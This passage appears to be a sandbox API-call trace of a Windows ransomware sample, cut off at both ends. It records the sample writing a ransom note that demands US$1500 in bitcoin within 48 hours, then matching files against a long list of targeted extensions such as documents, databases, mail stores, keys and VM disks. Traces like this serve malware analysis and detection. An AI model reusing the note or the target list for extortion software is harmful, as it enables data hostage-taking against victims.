"c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\reachframework\\34177215bbd2e05eb6d59d40a0a98f96\\how to decrypt files.txt")) returned 0xffffffff [0112.189] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\reachframework\\34177215bbd2e05eb6d59d40a0a98f96\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.190] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.190] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.192] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.194] CloseHandle (hObject=0x90) returned 1 [0112.194] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\", lpString2="ReachFramework.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll" [0112.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.ems") returned 0 [0112.194] lstrlenA (lpString="*.ems") returned 5 [0112.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.db") returned 0 [0112.194] lstrlenA (lpString="*.db") returned 4 [0112.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.dbf") returned 0 [0112.194] lstrlenA (lpString="*.dbf") returned 5 [0112.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.myox") returned 0 [0112.194] lstrlenA (lpString="*.myox") returned 6 [0112.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.myo") returned 0 [0112.194] lstrlenA (lpString="*.myo") returned 5 [0112.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.qbw") returned 0 [0112.194] lstrlenA (lpString="*.qbw") returned 5 [0112.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.qbb") returned 0 [0112.194] lstrlenA (lpString="*.qbb") returned 5 [0112.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.qbm") returned 0 [0112.194] lstrlenA (lpString="*.qbm") returned 5 [0112.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.qbo") returned 0 [0112.195] lstrlenA (lpString="*.qbo") returned 5 [0112.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.qbx") returned 0 [0112.195] lstrlenA (lpString="*.qbx") returned 5 [0112.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.qba") returned 0 [0112.195] lstrlenA (lpString="*.qba") returned 5 [0112.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.qby") returned 0 [0112.195] lstrlenA (lpString="*.qby") returned 5 [0112.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.qbj") returned 0 [0112.195] lstrlenA (lpString="*.qbj") returned 5 [0112.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.ofx") returned 0 [0112.195] lstrlenA (lpString="*.ofx") returned 5 [0112.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.qif") returned 0 [0112.195] lstrlenA (lpString="*.qif") returned 5 [0112.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.mye") returned 0 [0112.195] lstrlenA (lpString="*.mye") returned 5 [0112.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.mbox") returned 0 [0112.195] lstrlenA (lpString="*.mbox") returned 6 [0112.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.eml") returned 0 [0112.195] lstrlenA (lpString="*.eml") returned 5 [0112.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.pst") returned 0 [0112.195] lstrlenA (lpString="*.pst") returned 5 [0112.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.ost") returned 0 [0112.195] lstrlenA (lpString="*.ost") returned 5 [0112.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.idx") returned 0 [0112.195] lstrlenA (lpString="*.idx") returned 5 [0112.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.dbx") returned 0 [0112.196] lstrlenA (lpString="*.dbx") returned 5 [0112.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.sql") returned 0 [0112.196] lstrlenA (lpString="*.sql") returned 5 [0112.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.mdb") returned 0 [0112.196] lstrlenA (lpString="*.mdb") returned 5 [0112.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.fdb") returned 0 [0112.196] lstrlenA (lpString="*.fdb") returned 5 [0112.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.wab") returned 0 [0112.196] lstrlenA (lpString="*.wab") returned 5 [0112.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.dat") returned 0 [0112.196] lstrlenA (lpString="*.dat") returned 5 [0112.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.txt") returned 0 [0112.196] lstrlenA (lpString="*.txt") returned 5 [0112.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.jpeg") returned 0 [0112.196] lstrlenA (lpString="*.jpeg") returned 6 [0112.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.jpg") returned 0 [0112.196] lstrlenA (lpString="*.jpg") returned 5 [0112.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.png") returned 0 [0112.196] lstrlenA (lpString="*.png") returned 5 [0112.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.php") returned 0 [0112.196] lstrlenA (lpString="*.php") returned 5 [0112.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.cs") returned 0 [0112.196] lstrlenA (lpString="*.cs") returned 4 [0112.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.cpp") returned 0 [0112.197] lstrlenA (lpString="*.cpp") returned 5 [0112.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.rar") returned 0 [0112.197] lstrlenA (lpString="*.rar") returned 5 [0112.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.zip") returned 0 [0112.197] lstrlenA (lpString="*.zip") returned 5 [0112.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.html") returned 0 [0112.197] lstrlenA (lpString="*.html") returned 6 [0112.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.htm") returned 0 [0112.197] lstrlenA (lpString="*.htm") returned 5 [0112.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.xlsx") returned 0 [0112.197] lstrlenA (lpString="*.xlsx") returned 6 [0112.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.xls") returned 0 [0112.197] lstrlenA (lpString="*.xls") returned 5 [0112.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.mp4") returned 0 [0112.197] lstrlenA (lpString="*.mp4") returned 5 [0112.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.ppt") returned 0 [0112.197] lstrlenA (lpString="*.ppt") returned 5 [0112.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.pptx") returned 0 [0112.197] lstrlenA (lpString="*.pptx") returned 6 [0112.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.doc") returned 0 [0112.197] lstrlenA (lpString="*.doc") returned 5 [0112.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.dot") returned 0 [0112.197] lstrlenA (lpString="*.dot") returned 5 [0112.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.docx") returned 0 [0112.197] lstrlenA (lpString="*.docx") returned 6 [0112.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.7z") returned 0 [0112.198] lstrlenA (lpString="*.7z") returned 4 [0112.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.tar") returned 0 [0112.198] lstrlenA (lpString="*.tar") returned 5 [0112.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.bz2") returned 0 [0112.198] lstrlenA (lpString="*.bz2") returned 5 [0112.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.gz") returned 0 [0112.198] lstrlenA (lpString="*.gz") returned 4 [0112.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.mkv") returned 0 [0112.198] lstrlenA (lpString="*.mkv") returned 5 [0112.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.eml") returned 0 [0112.198] lstrlenA (lpString="*.eml") returned 5 [0112.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.msg") returned 0 [0112.198] lstrlenA (lpString="*.msg") returned 5 [0112.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.edb") returned 0 [0112.198] lstrlenA (lpString="*.edb") returned 5 [0112.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.accdb") returned 0 [0112.198] lstrlenA (lpString="*.accdb") returned 7 [0112.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.odb") returned 0 [0112.198] lstrlenA (lpString="*.odb") returned 5 [0112.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.java") returned 0 [0112.198] lstrlenA (lpString="*.java") returned 6 [0112.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.asm") returned 0 [0112.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.pfx") returned 0 [0112.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.pem") returned 0 [0112.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.p12") returned 0 [0112.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.gpg") returned 0 [0112.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.vsd") returned 0 [0112.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.odg") returned 0 [0112.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.raw") returned 0 [0112.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.nef") returned 0 [0112.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.svg") returned 0 [0112.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.psd") returned 0 [0112.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.vmx") returned 0 [0112.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.vmdk") returned 0 [0112.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.vdi") returned 0 [0112.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.lay6") returned 0 [0112.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.mpeg") returned 0 [0112.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.djvu") returned 0 [0112.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.tiff") returned 0 [0112.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.backup") returned 0 [0112.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.pdf") returned 0 [0112.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.cert") returned 0 [0112.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.docm") returned 0 [0112.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.xlsm") returned 0 [0112.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.dwg") returned 0 [0112.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.nd") returned 0 [0112.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.tlg") returned 0 [0112.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.lgb") returned 0 [0112.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.mov") returned 0 [0112.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.xdw") returned 0 [0112.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.ods") returned 0 [0112.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.wav") returned 0 [0112.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.mp3") returned 0 [0112.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.aiff") returned 0 [0112.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.flac") returned 0 [0112.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.m4a") returned 0 [0112.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\ReachFramework.ni.dll", pszSpec="*.csv") returned 0 [0112.207] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9161b02c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9161b02c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x916672ec, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x2f8c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ReachFramework.ni.dll", cAlternateFileName="REACHF~1.DLL")) returned 0 [0112.207] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.207] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917259ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x917259ce, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x917259ce, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="34177215bbd2e05eb6d59d40a0a98f96", cAlternateFileName="341772~1")) returned 0 [0112.207] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.207] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63b204e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63b204e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63b204e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650052, dwReserved1=0x630061, cFileName="SecurityAuditPolici#", cAlternateFileName="SECURI~1")) returned 1 [0112.208] lstrcmpA (lpString1=".", lpString2="SecurityAuditPolici#") returned -1 [0112.209] lstrcmpA (lpString1="..", lpString2="SecurityAuditPolici#") returned -1 [0112.209] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.209] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="SecurityAuditPolici#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#" [0112.209] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63b204e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63b204e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63b204e0, 